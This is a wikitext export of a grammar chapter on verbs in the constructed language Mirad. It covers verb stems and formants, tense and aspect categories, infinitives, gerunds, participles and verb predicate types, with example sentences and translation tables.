| '''py&lt;u&gt;a&lt;/u&gt;ser'''....''jump up''|| '''py&lt;u&gt;o&lt;/u&gt;ser'''....''fall down'' || '''py&lt;u&gt;ao&lt;/u&gt;ser'''....''bounce, undulate''
|-
| '''buer'''....''give'' || '''bier'''....''take'' || '''buier'''....''exchange''
|-
| '''nuer'''....''furnish'' || '''nier'''....''consume'' || '''nuier'''....''trade''
|-
| '''tuer'''....''inform'' || '''tier'''....''learn'' || '''tuier'''....''communicate''
|-
| '''yaper'''....''ascend'' || '''yoper'''....''descend'' || '''yaoper'''....''go up and down''
|-
| '''zayper'''....''go forward'' || '''zoyper'''....''go back'' || '''zaoper'''....''vacillate''
|-
| '''vader'''....''affirm'' || '''voder'''....''deny'' || '''vaoder'''....''decide''
|-
| '''yijber'''....''open'' || '''yujber'''....''close'' || '''uijber'''....''valve''
|-
| '''baser'''....''stir'' || '''boser'''....''be still'' || '''baoser'''....''vibrate''
|}

== Expressing Habitual Actions and States ==
: Mirad uses the term '''gel jubyen''' (''as a habit'') to express a verb reflecting habitual action, eg:
::* '''At tijeya be yiwa jwobi gel jubyen.'''....''I used to wake up at 9 o'clock.'' (Lit. ''I was waking up at 9 o'clock as a habit.'').
: The term '''hyujod'''....''one another occasion'' (or '''be aj'''....''in the past'') is use to express ''once (upon a time)'', eg:
::* '''At sa tuxut hyujod (~ be aj) sa tuxut.''' ....''I once was a teacher.''
: The term '''vyabxelay''' (''routinely'') can also be used, eg:
::* '''Yat eke duz yuz bi ha doym vyabxelay.'''....''We play music around town routinely.''

== Expressing an Immediate Past ==
: To express an immediate past, such as in the sentence ''&quot;We have just gotten married.&quot;'', Mirad uses the adverb '''ejnay''' (''newly'') much like the word ''just'' in English:
::* '''Yat tadsaye &lt;u&gt;ejnay&lt;/u&gt;.'''....''We have &lt;u&gt;just&lt;/u&gt; gotten married.''
::* '''&lt;u&gt;Ejnay&lt;/u&gt; tadxwa.'''....''&lt;u&gt;Just&lt;/u&gt; married.''
::* '''Wit dokebiwa &lt;u&gt;ejnay&lt;/u&gt;.'''....''He was &lt;u&gt;just&lt;/u&gt; elected.''
::* '''At ujbaya yex &lt;u&gt;ejnay&lt;/u&gt; hoj iyt yebupa.'''....''I had &lt;u&gt;just&lt;/u&gt; finished work when she came in.''

== Verb Predicate Types ==
: Mirad verb predicates can be classified as follows:
:* '''''Voice'''''
::* Active (The subject is the doer of the action)
::* Passive (The subject is the receiver of the action)
::* Middle (The subject is both the agent and patient)
::* Reflexive (The subject is also the patient.)
::* Reciprocal (Plural subjects interact.)
:* '''''Stativity'''''
::* Stative (Does not involve action)
::* Dynamic (Action is involved)
:* '''''Valency'''''
::* Impersonal (There is no subject)
::* Transitive (There is an object)
::* Intransitive (There is no object)
::* Auto-transitive (The subject is a patient and there is no agent)
::* Anti-transitive (There is the patient but an agent is assumed)
::* Causative (Subject causes an action to be performed)
::* Copula (X is Y)
:* '''''Other'''''
::* Modal (''can, must, should, wants to''...)
::* Auxiliary (''help to, hope to, prepare to'' + verb)
::* Motion (''run, go, ride''...)
::* Communication (''say, answer, claim that...'')
::* Gesture (''put, shake, hit...'')
::* State/Stative (''be, become, live, be born...'')
::* Action/Dynamic (''do, act, make'')

{| class=&quot;wikitable&quot; style=&quot;background: lightYellow;;{{Text default color}};font-size:smaller;&quot;
|+ Verb Predicate Types
|-
! Voice !! Stativity!! Valency !! Example
|-
| active || stative || impersonal, -agent, -object || '''Mamilo zajub.'''....''It will rain tomorrow.''
|-
| active || stative || impersonal, -agent, +complement || '''Sa gla oma.'''....''It was very cold.''
|-
| active || stative || impersonal, +subject || '''Ese het be ha mes.'''....''There is someone at the door.''
|-
| active || stative || copula, subject + noun/adjective complement || '''Et se ata twud.'''....''You are my son.''&lt;br&gt;'''At aseye ebbyextipa.'''....''I am becoming angry.''
|-
| middle || stative || auto-transitive, +subject=patient -agent -object || '''Iyt toja.'''....''She died''
|-
| middle || stative || auto-transitive, +subject=patient +agent -object || '''Ha mes yija.'''....''The door opened.''
|-
| active || stative || intransitive, +subject -object|| '''Et bokso.'''....''You will get sick.''
|-
| active || stative || transitive, sense, +subject +object || '''At teate et.'''....''I see you.''
|-
| active || stative || transitive, modal, +subject +verb complement || '''At fe per.'''....''I want to go.''
|-
| active || stative || intransitive, subject-oriented modal, -subject +verb complement || '''Yofwe teater.'''....''It is impossible to see.'' 
|-
| passive || stative || patient-oriented modal, +subject || '''Mamil yakwe.'''....''Rain is expected.''
|-
| middle || dynamic || anti-transitive, +subject=patient +agent -object || '''Ha mes yijpa.'''....''The door came open.''
|-
| active || dynamic || intransitive, +subject -object|| '''Ha fab pyosa.'''....''The tree fell.''
|-
| active || dynamic || transitive, +subject  +-object || '''Yit pyoxa ha fab.'''....''They felled the tree.''
|-
| passive || dynamic || intransitive, +subject, -object || '''Ha fabi pyoxwa.'''....''The trees were felled.''
|-
| active || dynamic || transitive, +subject, +object|| '''Obu eta tef.'''....''Take your hat off.''
|-
| active || dynamic || ditransitive, +subject, +object +object || '''Von et buu iyt ha nas.'''....''Don't give her the money.''
|-
| active || dynamic || transitive, motion, +subject, +destination/origin || '''Yupu ha seem.'''....''Approach the bench.''&lt;br&gt;'''Pu tam!'''....''Go home!'' (''you'' implied)
|-
| active || dynamic || causative, +subject +object, +agent || '''At tayegobluxo Jon.'''....''I will get my hair cut by John.''
|-
| passive || dynamic || causative, +subject +object, +agent || '''At tayegobluxwo.'''....''I will get my hair cut.''
|-
| active || dynamic || auxiliary, ditransitive, +patient +verb object || '''Yuxu at xer his.'''....''Help me do this.''
|-
| passive || dynamic || auxiliary, ditransitive, +patient +verb object || '''At tuxwa eker duz.'''....''I was taught to play music.''
|-
| middle || dynamic || reflexive, +subject = patient, -object || '''Iyt uttojba.'''....''She killed herself.''
|-
| active || dynamic || reciprocal, +subjects = patients || '''Yit voy hyuitdale gaj.'''....''They don't talk to one another anymore.''
|}
&lt;noinclude&gt;{{Chapter navigation with TOC|Pronouns|Prepositions}}&lt;/noinclude&gt;</text>
      <sha1>lil460b1a1mk448npbwgytnryg2tuy8</sha1>
    </revision>
    <revision>
      <id>4670494</id>
      <parentid>4670493</parentid>
      <timestamp>2026-09-16T19:11:40Z</timestamp>
      <contributor>
        <username>Tyoyafud</username>
        <id>6233</id>
      </contributor>
      <comment>/* Making Verbs Inchoative with ij- */</comment>
      <origin>4670494</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="136453" sha1="7un3a2316n462k3zcdgko7red6ct4dw" xml:space="preserve">&lt;noinclude&gt;{{status|100%}}&lt;/noinclude&gt;
== The Verb Stem  ==
[[File:Various forms of using the verb &quot;to inform&quot; in LSC.png|thumb|]]
: Verbs in Mirad are listed in the dictionary under the present active infinitive (see [[Mirad Grammar/Verbs#Non-finite Forms]]), such as '''yexer'''....''to work''. The infinitive minus the '''er''' ending is the stem.  The stem is used as the base for all other verbal instantiations.  The infinitive as listed in the dictionary is usually active in voice, but occasionally a passive infinitive ending in '''-wer''' will be lexicalized because it is somehow special, so then, the stem is still the infinitive minus the '''-er''' ending.  All Mirad verbs are conjugated in the same way and there are no exceptions.

: This shows how to determine the '''''stem''''' of a verb listed in the dictionary:


::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Stems
|-
! Simple Infinitive !! Stem&lt;big&gt;+&lt;/big&gt;Infinitive Ending
|-
| '''yex&lt;u&gt;er&lt;/u&gt;'''....''to work'' || '''yex&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''pos&lt;u&gt;er&lt;/u&gt;'''....''to (come to a) stop''  || '''pos&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''x&lt;u&gt;er&lt;/u&gt;'''....''to do'' || '''x&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''xw&lt;u&gt;er&lt;/u&gt;'''....''to happen, be done'' (PASSIVE)|| '''xw&lt;big&gt;+&lt;/big&gt;er'''
|}
=== Verb Formants ===
: The active stems of verbs most often end in one of the following verb formants:

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Formats
|-
! Verb Formant !! Function !! Examples
|-
| '''-x-''' || action or causation || '''xer'''....''to do'', '''saxer'''....''to create'', '''agaxer'''....''to magnify'', '''yixer'''....''to use'', '''abaxer'''....''to pat''
|-
| '''-xl-'''|| forceful action || '''yixler'''....''to employ'', '''abaxler'''....''to knead''
|-
| '''-xr-'''|| more forceful action || '''yixrer'''....''to wear out'', '''abaxrer'''....''to rub''
|-
| '''-b-'''|| gesture || '''ber'''....''to put'', '''aber'''....''to apply'', '''yujber'''....''to close'', '''gober'''....''to subtract''
|-
| '''-bl-'''|| forceful gesture || '''yujbler'''....''to lock'', '''gobler'''....''to cut''
|-
| '''-br-'''|| more forceful gesture || '''yobrer'''....''to knock down'', '''gobrer'''....''to chop''
|-
| '''-s-''' || state or becoming || '''ser'''....''to be'', '''eser'''....''to exist'', '''aser'''....''to become'', '''beser'''....''to remain'', '''paser'''....''to move''
|-
| '''-sl-''' || more intensive || '''besler'''....''to linger'', '''pasler'''....''to shake''
|-
| '''-sr-''' || most intensive || '''besrer'''....''to loiter'', '''pasrer'''....''to convulse''
|-
| '''-p-''' || motion or going || '''per'''....''to go'', '''yaper'''....''to ascend'', '''paper'''....''to fly''
|-
| '''-pl-''' || more intensive || '''yapler'''....''to climb'', '''zyepler'''....''to intrude''
|-
| '''-pr-''' || most intensive || '''yaprer'''....''to scramble up'', '''yeprer'''....''to break in''
|-
| '''-i-'''|| action toward subject || '''bier'''....''to take'', '''nier'''....''to consume'', '''ifier'''.'..''to enjoy'', '''dier'''....''to ask''
|-
| '''-u-'''|| action toward object || '''buer'''....''to give'', '''nuer'''....''to supply'', '''ifuer'''....''to please'', '''duer'''....''to suggest''
|-
| '''-d-''' || communication || '''der'''....''to say'', '''vader'''....''to affirm'', '''yevder'''....''to judge''
|-
| '''-dr-''' || writing || '''drer'''....''to write'', '''teedrer'''....''to report'', '''taxdrer'''....''to record''
|-
| '''-dy-''' || reading || '''dyer'''....''to read''
|-
| '''-t-''' || knowing (a thing)|| '''ter'''....''to know'', '''tester'''....''to understand'', '''teater'''....''to see''
|-
| '''-tr-''' || knowing (a person)|| '''trer'''....''to recognize''
|-
| '''-ty-''' || knowing (how) || '''tyer'''....''to know how''
|-
| '''-f-''' || volition and modal verbs || '''fer'''....''to want'', '''ifer'''....''to love'', '''ufer'''....''to hate'', '''yafer'''....''to be able''
|-
| '''-fi-''' || toward the subject || '''ifier'''....''to enjoy''
|-
| '''-fu-''' || toward a patient || '''ifuer'''....''to amuse''
|-
| '''-fl-''' || more intensive || '''ifler'''....''to be fond of'', '''yafler'''....''to wield power''
|-
| '''-fli-''' || toward the subject || '''iflier'''....''to be charmed by''
|-
| '''-flu-''' || toward a patient || '''ifluer'''....''to enchant''
|-
| '''-fr-''' || most intenstive || '''ifrer'''....''to worship'', '''ufrer'''....''to loathe'', '''yufrer'''....''to cringe''
|-
| '''-fri-''' || toward the subject || '''ifrier'''....''to become infatuated with''
|-
| '''-fru-''' || toward a patient || '''ifruer'''....''to infatuate''
|-
| '''-v-''' || some modal verbs || '''yiver'''....''to have a right to'', '''yuver'''....''to have a duty to''
|-
| '''-vi-''' || toward the subject || '''ivier'''....''to derive joy from''
|-
| '''-vu-''' || toward a patient || '''ivuer'''....'' to cheer up''
|-
| '''-vl-''' || more intensive || '''yuvler'''....''to be bound to'', '''yavler'''....''to be proud''
|-
| '''-vli-''' || toward the subject || '''yavlier'''....''to take pride in''
|-
| '''-vlu-''' || toward a patient || '''yavluer'''....''to instill pride in''
|-
| '''-vr-''' || most intensive || '''uvrer'''....''to grieve''
|-
| '''-vri-''' || toward the subject || '''uvrier'''....''to grieve''
|-
| '''-vru-''' || toward a patient || '''uvruer'''....''to aggrieve''
|-
| '''-k-''' || various verbs || '''aker'''....''to win'', '''oker'''....''to lose'', '''eker'''....''to play'', '''yeker'''....''to try'', '''yaker'''....''to expect'', '''yoker'''....''to be surprised by''
|-
| '''-ki-''' || toward the subject || '''akier'''....''to gain from'', '''yekier'''....''to undertake''
|-
| '''-ku-''' || toward a patient || '''yekuer'''....''to challenge''
|-
| '''-kl-''' || more intensive || '''akler'''....''to conquer'', '''yekler'''....''to strive''
|-
| '''-kli-''' || toward the subject || '''eklier'''....''to take a risk''
|-
| '''-klu-''' || toward a patient || '''ekluer''....''to put at risk''
|-
| '''-kr-''' || most intensive || '''akrer'''....''to triumph''
|-
| '''-j-''' || opening/closing || '''ijer'''....''to begin'', '''ujer'''....''to end'', '''tajer'''....''to be born'', '''tojer'''....''to die'', '''yujer'''....''to close''
|-
| '''-jl-''' || more intensive || '''yujler'''....''to lock''
|-
| '''-jr-''' || most intensive || '''yujrer'''....''to block''
|-
| '''-l-''' || a few verbs || '''baler'''....''to press'', '''boler'''....''to support'', '''beler'''....''to carry'', '''daler'''....''to speak'', '''deler'''....''to state'', '''doler'''....''to be quiet'', '''galer'''....''to multiply'', '''goler'''....''to divide'', ....'''mageler'''....''to cook''
|-
| '''-r-''' || a few verbs || '''ingarer'''....''to cube'', '''engorer'''....''to get the square root of'''''barer'''....''to crush''
|-
| '''-ar-'''&lt;br&gt;'''-ir-'''&lt;br&gt;'''-ur-'''|| tool use || '''ukarer'''....''to shovel'', '''purer'''....''to drive'', '''myekirer'''....''to mill''
|-
| '''-z-'''|| perform an art || '''dazer'''....''to dance'', '''dezer'''....''to act'', '''deuzer'''...''to sing''
|}
: Verbs containing formants '''s''' or '''p''' are generally intransitive, while all the other formants create transitive verbs.  All of the verbs with transitive formants can be passivized by adding '''w''', eg.:
:* '''oker'''....''to lose'' &lt;big&gt;→&lt;/big&gt; '''okwer'''....''to be lost''
:* '''baler'''....''to press'' &lt;big&gt;→&lt;/big&gt; '''balwer'''....''to be pressed''
:* '''koxer'''....''to hide''  &lt;big&gt;→&lt;/big&gt; '''koxwer'''....''to be hidden''
:* '''ujler'''....''to lock''  &lt;big&gt;→&lt;/big&gt; '''ujlwer'''....''to be locked''
:* '''ser'''....''to be'' (cannot be passivized)
:* '''per'''....''to go'' (cannot be passivized)
: Some verbs with formants '''-pl-''' and '''-pr-''' can usually be passivized with '''w''', eg.:
:* '''yaprer'''....''to climb''  &lt;big&gt;→&lt;/big&gt; '''yaprwer'''....''to be climbed''
:* '''aypler'''....''to surmount''  &lt;big&gt;→&lt;/big&gt; '''ayplwer'''....''to be surmounted''

== Verb Categories ==

: Verbs have '''''morphological categories''''', which involve changes to the verb not always found in the dictionary, but developed through rule-bound affixation (such as ''live'', ''lives'', ''lived'', ''living'').  They also have '''''lexical categories''''', which involve derived forms usually listed in dictionaries (''enjoy'', ''enjoyable'', ''enjoyment'')

=== Morphological Categories ===
 
: Verbs are inflected with the following '''''morphological categories''''': 

::* '''''2 states''''': finite, non-finite
::* '''''4 tenses''''': present, past, future, atemporal&lt;sup&gt;1&lt;/sup&gt;
::* '''''5 aspects''''': simple, progressive, perfect, imminent, potential
::* '''''2 voices''''': active, passive
::* '''''2 moods''''': indicative, hypothetical


:&lt;small&gt;'''''Note 1:''''' The term &quot;atemporal&quot; means that tense is not marked.  For example, in Mirad, '''Pu!''' is the imperative of the verb '''per'''....''to go''.  It means ''Go!'' and is atemporal.  The '''-u''' ending is an atemporal hypothetical mood marker.&lt;/small&gt;

: In effect, the PERSON/NUMBER category is not listed above, because this category does not affect the morphology of the Mirad verb form itself. The Mirad verb form stays the same for all persons and numbers.  That information is contained in the external subject pronouns governing the verb.  In English, for example, the verb &quot;be&quot; has several different forms in the present tense verb form depending on the person and number (I &lt;u&gt;am&lt;/u&gt;, you &lt;u&gt;are&lt;/u&gt;, he &lt;u&gt;is&lt;/u&gt;, we &lt;u&gt;are&lt;/u&gt;, etc.), but not so in Mirad.  The following chart shows how the English pattern differs from the corresponding single Mirad verb form '''se''' for all persons and numbers:


:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller&quot;
|+ Verb '''ser''' (''to be'') Unchanged for person/number
|-
! Person !! Number !! English !! Mirad
|-
!row=1| 1st !! row=1 rowspan=3| Singular 
| ''I &lt;u&gt;am&lt;/u&gt;'' || '''at &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you &lt;u&gt;are&lt;/u&gt;'' || '''et &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''he/she &lt;u&gt;is&lt;/u&gt;'' || '''it &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 1st !! row=1 rowspan=3| Plural 
| ''we &lt;u&gt;are&lt;/u&gt;'' || '''yat &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you (pl.) &lt;u&gt;are&lt;/u&gt;'' || '''yet &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''they &lt;u&gt;are&lt;/u&gt;'' || '''yit &lt;u&gt;se&lt;/u&gt;'''
|}

: This invariability of person/number exists for all tenses.

=== Lexical Categories ===

:: In addition, verbs can be described in terms of the following opposing '''''lexical''''' categories.  By lexical, is meant that verbs having different lexical properties are listed in the dictionary and have nothing to do with conjugation.


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;margin-left:1.6em;&quot;
|+ Verb Lexical Categories
|-
! Stative !! Dynamic
|-
| '''ser'''....''to be'' || '''xer'''....''to do''
|-
! Intransitive !! Transitive
|-
| '''agaser'''....''to grow large'' || '''agaxer'''....''to magnify''
|-
! Subject-directed !! Patient-directed
|-
| '''bier'''....''to take'' || '''buer'''....''to give''
|-
! Reflexive !! Non-reflexive
|-
| '''utvyixer'''....''to wash up (wash oneself)'' || '''vyixer'''....''to wash''
|-
! Inchoative !! Causative
|-
| '''tujper'''....''fall asleep'' || '''tujber'''....''put to sleep''
|-
! Autonomous !! Dynamic
|-
| '''yijer'''....''to open (by itself)'' || '''yijber'''....''to (make it) open''
|-
! Reciprocal !! Non-reciprocal
|-
| '''hyuittujber'''....''to kill one another'' || '''tujber'''....''to kill''
|-
! Gestural !! Locomotive
|-
| '''baser'''....''to stir, budge'' || '''paser'''....''to move''
|-
! Subject-oriented !! Object-oriented
|-
| '''teetyiker'''....''to be hard of hearing'' || '''teetyikwer'''....''to be hard to hear''
|}

== Non-finite Forms ==
: '''''Non-finite verb forms''''' are
::* not conjugated for person or number
::* cannot form a predicate
::* and do not have a subject.  

: There are three kinds of non-finite verb forms in Mirad:

::* '''''infinitives''''': the dictionary lookup form of a verb, ending in '''-er'''
:::* '''der'''....''to say'', '''tixayer'''....''to have studied'', '''xwer'''....''to be done''
::* '''''gerunds''''': verbal nouns, ending in '''-en'''
:::* '''byasen'''....''(the act of) standing''
::* '''''participles''''': verbal adjectives, ending in '''-a'''
:::* '''tejea'''....''living (alive)'', '''twa'''....''known'', '''piya'''....''departed''
=== Infinitives ===
: Verbs are listed in the dictionary under the '''''active voice simple aspect infinitive''''' form, which always ends in '''er''' and means ''to X'', or rarely the passive voice simple aspect infinitive form, which ends in '''wer''' and means ''to be Xed''.  The part of the verb form minus the '''-er''' or '''-wer''' is the '''''verb stem'''''. Very rarely at verb can be expressed as a past active or past passive infinitive in '''ayer''' and '''awer''', respectively. (For example: '''Tejayer boy ifawer naze glo.'''....''To have lived without having loved counts little.'').

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em&quot;
|+ Infinitive Stems
|-
! Infinitivw || Stem !! Ending
|-
| '''agser'''....''to grow'' || '''ags-''' || '''-er'''  
|-
| '''igxer'''....''to quicken'' || '''igx-''' || '''-er''' 
|-
| '''per'''....''to go'' || '''p-''' || '''-er'''  
|-
| '''xwer'''....''to happen, be done'' || '''x-''' || '''-wer''' 
|-
| '''tejayer'''....''to have lived'' || '''tej-''' || '''-ayer'''
|-
| '''ifawer'''....''to have loved'' || '''if-''' || '''-awer'''
|}

: The infinitive in Mirad is used very much as its counterpart in English.  The infinitive can be marked for two aspects (simple, perfect) and two voices (active, passive), as shown in the chart below, where the verb stems are underlined:


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Active and Passive Infinitive Stems
|-
! Aspect !! Active Voice !! Passive Voice
|-
!row=1| Simple
| '''&lt;u&gt;igx&lt;/u&gt;er'''....''to quicken'' || '''&lt;u&gt;igx&lt;/u&gt;wer'''....''to be quickened''
|-
!row=1| Perfect
| '''&lt;u&gt;igx&lt;/u&gt;ayer'''....''to have quickened'' || '''&lt;u&gt;igx&lt;/u&gt;awer'''....''to have been quickened''
|}

: In the above chart,
::* the verb stem is '''igx-''' and
::* the infinitive marker is '''-er''';
::* the simple aspect active voice marker is zero;
::* the simple aspect passive voice marker is '''w''';
::* the perfect aspect active voice marker is '''-ay-''';
::* the past aspect passive voice marker is '''-aw-'''.

The passive voice infinitive of a verb will not appear in the dictionary unless it has a special meaning, such as '''xwer''' ''to happen (= to be done)''.  The perfect infinitives are never listed in the dictionary.

=== Gerunds ===
: The gerund is a verbal noun like English ''playing'' in ''playing ball.''
: The gerund has two possible '''''aspects''''' (simple and perfect) and two possible '''''voices''''' (active and passive):

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em; &quot;
|+ Gerund Formation
|-
! Aspect !! Voice !! Ending !! Example
|-
!row=1| Simple !! Active 
| '''-en''' || '''agax&lt;u&gt;en&lt;/u&gt;'''....''magnifiying, magnification''
|-
!row=1| Simple !! Passive
| '''-wen''' || '''agax&lt;u&gt;wen&lt;/u&gt;'''....''being magnified''
|-
!row=1| Perfect !! Active 
| '''-ayen''' || '''byek&lt;u&gt;ayen&lt;/u&gt;'''....''having cured''
|-
!row=1| Perfect !! Passive 
| '''-awen''' || '''byek&lt;u&gt;awen&lt;/u&gt;'''....''having been cured''
|}

: Note: Intransitive verbs like '''per''' ''to go'' do not have a passive gerund form.

: Lexicalized gerunds, such as '''sanxen''' ''formation, forming'' generally appear in the dictionary in the active voice.

: Some examples of gerund usage:

::* ('''sanxer'''....''to form'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ha &lt;u&gt;sanxen&lt;/u&gt; bi hia mar efxa amroni bi jabi.'''....''The &lt;u&gt;forming&lt;/u&gt; (or: &lt;u&gt;formation&lt;/u&gt;) of this star took millions of years.''
::* ('''deuzer'''....''to sing'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Iyta &lt;u&gt;deuzen&lt;/u&gt; sa gla via.'''....''Her &lt;u&gt;singing&lt;/u&gt; was very beautiful.''
::* ('''poper'''....''to travel'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Popen&lt;/u&gt; se yika yex.'''....''&lt;u&gt;Traveling&lt;/u&gt; is hard work.''
::* ('''teeter'''....''to hear'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teetwen&lt;/u&gt; fiay se teskyia av dezuti.'''....''&lt;u&gt;Being heard&lt;/u&gt; well is important for actors.''
::* ('''teater'''....''to see'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teaten&lt;/u&gt; se &lt;u&gt;vyatexen&lt;/u&gt;.'''.....''&lt;u&gt;Seeing&lt;/u&gt; is &lt;u&gt;believing&lt;/u&gt;.''
::* ('''uper'''....''to come'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''His se ha jeb bi &lt;u&gt;Upen&lt;/u&gt;.'''....''This is the season of &lt;u&gt;Advent&lt;/u&gt; (coming).''
::* ('''tadier'''....''to get married'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ata &lt;u&gt;tadiayen&lt;/u&gt; ewa jodi bixa tepzex.'''....''My &lt;u&gt;having married&lt;/u&gt; twice drew attention.''
::* ('''aker'''....''to win'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''At voy ta ita &lt;u&gt;akawen&lt;/u&gt; hua nuz.'''....''I did not know about his &lt;u&gt;having won&lt;/u&gt; that prize.''
: Gerunds, being verb forms, can take direct and indirect objects:
::* '''At ifxwe bey eta buayen at hua nas.'''....''I am pleased by your having given me that money.''
::* '''Tojben eut voy se kexbiyaf.'''....''Killing yourself is not an option.''

: The special gerundive ending '''-eyn''' gives a nuance emphasizing the action as a single act, much like the English endings ''-ment'' or ''-tion''.  Here are a few examples showing the difference between '''-en''' and '''-eyn'''.
::* '''yanlaxen'''....''combining''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''yanlaxeyn'''....''combination''
::* '''xen'''....''doing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''xeyn'''....''action, deed''
::* '''zayben'''....''advancing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zaybeyn'''....''advancement''

: Another special gerundive (but lexical) ending is '''-un''', which expresses the result of an action, eg.:
::* '''zyegxer'''....''to puncture''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyegxun'''....''a puncture''
::* '''zyeuber'''....''to transmit''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyeubun'''....''a broadcast''
::* '''deuzer'''....''to sing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''deuzun'''....''a song''

=== Participles ===
: Participles are verbal adjectives and can modify nouns and pronouns.  Since they act as adjectives, they have the adjectival ending '''-a'''.  Participles are marked by '''''aspect''''' (simple, progressive, perfect, imminent, potential) and '''''voice''''' (active, passive).
: The aspect markers per voice are:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Aspect Markers
|-
! Aspect !! Voice !! Form !! Example
|-
! rowspan=2| Progressive
! rowspan=1 | Active 
| '''-ea-''' || '''tejea'''....''living''
|-
! rowsspan=1 | Passive 
| '''wea''' || '''xwea'''....''happening, being done''
|-
! rowspan=2| Perfect
! rowspan=1 |Active
| '''-ya''' || '''pya'''....''gone''   (&lt; '''pyaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=1| Passive 
| '''-wa''' || '''xwa'''....''done''   (&lt; '''xwaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=2| Imminent
! Active 
| '''-oa''' || '''tojoa'''....''about to die''
|-
! rowspan=1 | Passive 
| '''-woa''' || '''dodelwoa'''....''about to be announced''
|-
! rowspan=2| Potential
! Active 
| '''-ua''' || '''tojbua'''....''lethal''
|-
! rowspan=1| Passive 
| '''-wua''' || '''opoxwua'''....''unstoppable''
|}
: &lt;small&gt;&lt;sup&gt;1&lt;/sup&gt;: The double '''aa''' in the perfect endings is reduced to '''a'''.&lt;/small&gt;
: '''''Note 1:''''' The perfect active particple ending in '''-ya''' is used only for intransitive verbs like '''per''' (''to go'').  '''He is &lt;u&gt;gone&lt;/u&gt;.''' is expressed by '''Wit se &lt;u&gt;pya&lt;/u&gt;'''.
: '''''Note 2:''''' The potential aspect, represented by the vowel '''u''' is much like the conditional in English, but is not considered a tense in Mirad.  For example, '''tojbu''' means ''would kill'' and the participle '''tojbua''' means ''lethal'' (referring to something that ''would/has the potential to kill'').  More about this in a later section.
: '''''Note 3:''''' There is another form of the progressive participle that falls in the lexical, rather than morphological category, in that such forms are listed in the dictionary as adjectives.  For example, in the phrase ''The animals &lt;u&gt;bothering&lt;/u&gt; our bird feeder...'', the participle ''bothering'' would be '''oboxea''' in Mirad.  By inserting the letter '''y''' between the verb stem and the participial ending, the participle becomes an adjective denoting a propensity or habit, as in ''bothersome'' ('''obox&lt;u&gt;y&lt;/u&gt;ea''').  Such participles are invariably in the active voice.  Most such adjectives in English end in ''-ive'' as in ''repulsive'' or ''-ly'' as in ''wiggly'' or ''-ous'' as in ''circuitous.''  Such adjectives in Mirad are listed in the dictionary and end in '''-yea'''.

: Adverbial participles can be made from the above adjectival participles, by suffixing the letter '''y'''.  Examples:
::* '''Iyt yepa ha tim &lt;u&gt;deuzeay&lt;/u&gt;.'''....''She entered the room &lt;u&gt;singing&lt;/u&gt;.''
::* '''&lt;u&gt;Ujbaway&lt;/u&gt; ha dodal, it pia.'''....''The speech &lt;u&gt;having been finished&lt;/u&gt;, he left.''
: Also, the above participles can be converted into abstract nouns by suffixing '''n'''.  Examples:
::* '''tiluwa'''....''drinkable'' &lt;big&gt;→&lt;/big&gt; '''tiluwan'''....''potability''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuan'''....''lethality''
::* '''mansea'''....''shining'' &lt;big&gt;→&lt;/big&gt; '''he &lt;u&gt;mansean&lt;/u&gt; bi iyta deuzen'''....''the &lt;u&gt;brilliance&lt;/u&gt; of her singing''
::* '''aakaxyea'''....''inventive'' &lt;big&gt;→&lt;/big&gt; '''aakaxyean'''....''inventiveness''
: Furthermore, these participles can sometimes be pronominalized with '''s''' for things and '''t''' for people or living things.  These forms can, in turn, be pluralized:

::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwas'''....''what is done, a happening''
::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwasi'''....''happenings, deeds''
::* '''otwa'''....''unknown'' &lt;big&gt;→&lt;/big&gt; '''otwas'''....''what is not known, a mystery''
